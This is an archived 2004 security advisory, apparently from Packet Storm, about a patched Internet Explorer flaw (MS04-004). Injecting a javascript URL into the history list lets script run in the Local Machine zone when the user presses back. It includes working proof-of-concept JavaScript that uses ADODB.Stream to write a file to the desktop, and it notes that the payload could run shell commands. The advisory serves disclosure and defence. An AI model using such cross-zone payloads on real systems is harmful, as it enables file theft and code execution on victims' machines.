exploit the possibilities

JSinject.txt

JSinject.txt
Posted Feb 3, 2004
Authored by Andreas Sandblad

There lies a way to inject a javascript url in the history list of Microsoft Internet Explorer causing a cross site/zone scripting attack when the user presses the backbutton. An attacker may use this to read arbitrary cookies/local files and execute programs leading to total system compromise if IE is run as administrator.

tags | exploit, arbitrary, local, javascript
MD5 | e4ee8441ecf1fa1800d26656e17ce425

JSinject.txt

Change Mirror Download

- Sandblad advisory #12 -

/--------------------------------------------------------------/
Title: Inject javascript url in history list (revisited)
Date: 2004-02-03
Software: Internet Explorer
Vendor: http://www.microsoft.com/
Status: Patched by MS04-004
Type: Cross site/zone scripting
Impact: Reading arbitrary cookies/local files
and executing remote programs _ _
o' \,=./ `o
Author: Andreas Sandblad, sandblad@acc.umu.se (o o)
/--=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--/


TABLE OF CONTENTS:
==================
Summary ...................................................... 1
Vendor status ................................................ 2
Details ...................................................... 3
Exploit ...................................................... 4
FAQ .......................................................... 5
Disclaimer ................................................... 6
Feedback ..................................................... 7



(1) SUMMARY:
============
The author has found a way to inject a javascript url in the history list
causing a cross site/zone scripting attack when the user presses the
backbutton. An attacker may use this to read arbitrary cookies/local files
and execute programs leading to total system compromise if IE is run as
administrator. Users can protect themselves by downloading the latest
patch from Microsoft as described in:
http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS04-004.asp



(2) VENDOR STATUS:
==================
2003-09-03:
Microsoft informed about the vulnerability.

2004-02-02:
Microsoft released patched (MS04-004).



(3) DETAILS:
============
The idea to inject javascript urls in the history list is not new. Almost
two years ago I publiced the advisory "Sandblad #4 - Using the backbutton
in IE is dangerous". The technique is quite straightforward and uses that
a javascript url is operating in the same domain as it was applied over.
Hence, it is possible to trigger a cross site/zone scripting attack when
the user presses the backbutton. Liu Die Yu described a similiar way to
inject javascript urls in history list (CAN-2003-1026) in late November
2003 and showed how it was possible to force the user to navigate back
automaticly by using frames.

Internet Explorer tries to remove javascript urls in the history list but
seems to fail in some situations. One way is to link to a resource from a
javascript url with: external.NavigateAndFind('res:','','')
where 'res:' is redirected to the Local Machine zone. When navigating back
the javascript url will be applied over the Local Machine zone.



(4) EXPLOIT:
============

// Andreas Sandblad, 2004-02-03, patched by MS04-004

// Name: payload
// Purpose: Run payload code called from Local Machine zone.
// The code may be arbitrary such as executing shell commands.
// This demo simply creates a harmless textfile on the desktop.
function payload() {
file = "sandblad.txt";
o = new ActiveXObject("ADODB.Stream");
o.Open();
o.Type=2;
o.Charset="ascii";
o.WriteText("You are vulnerable!");
o.SaveToFile(file, 2);
o.Close();
alert("File "+file+" created on desktop!");
}

// Name: trigger
// Purpose: Inject javascript url in history list and run payload
// function when the user hits the backbutton.
function trigger(len) {
if (history.length != len)
payload();
else
return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}

// Name: backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}

// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
backbutton();



(5) FAQ:
========
Q: Is this issue the same as described in CAN-2003-1026?
A: No, but it has some similarities as the attack vector is injection of a
javascript url in the history list. That issue was reported by Liu Die Yu.

Q: I can't get the exploit to work. What is wrong?
A: I did get it to work. Microsoft did get it to work. Making something
work for everybody is hard and not the actual purpose. POC is important
for people to understand and learn, but should never be fine-tuned to work
perfectly.



(6) Disclaimer:
===============
Andreas Sandblad is not responsible for the misuse of the
information provided in this advisory. The opinions expressed
are my own and not of any company. In no event shall the author
be liable for any damages whatsoever arising out of or in
connection with the use or spread of this advisory. Any use of
the information is at the user's own risk.



(7) Feedback: <-- Don't hesitate!
=============
Please send thoughts and comments to: _ _
sandblad@acc.umu.se o' \,=./ `o
(o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
Andreas Sandblad, UmeƄ Sweden.
---=--=---=--=--=---=--=--=--=--=---=--=--=--=--=--=--=--=---=--

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close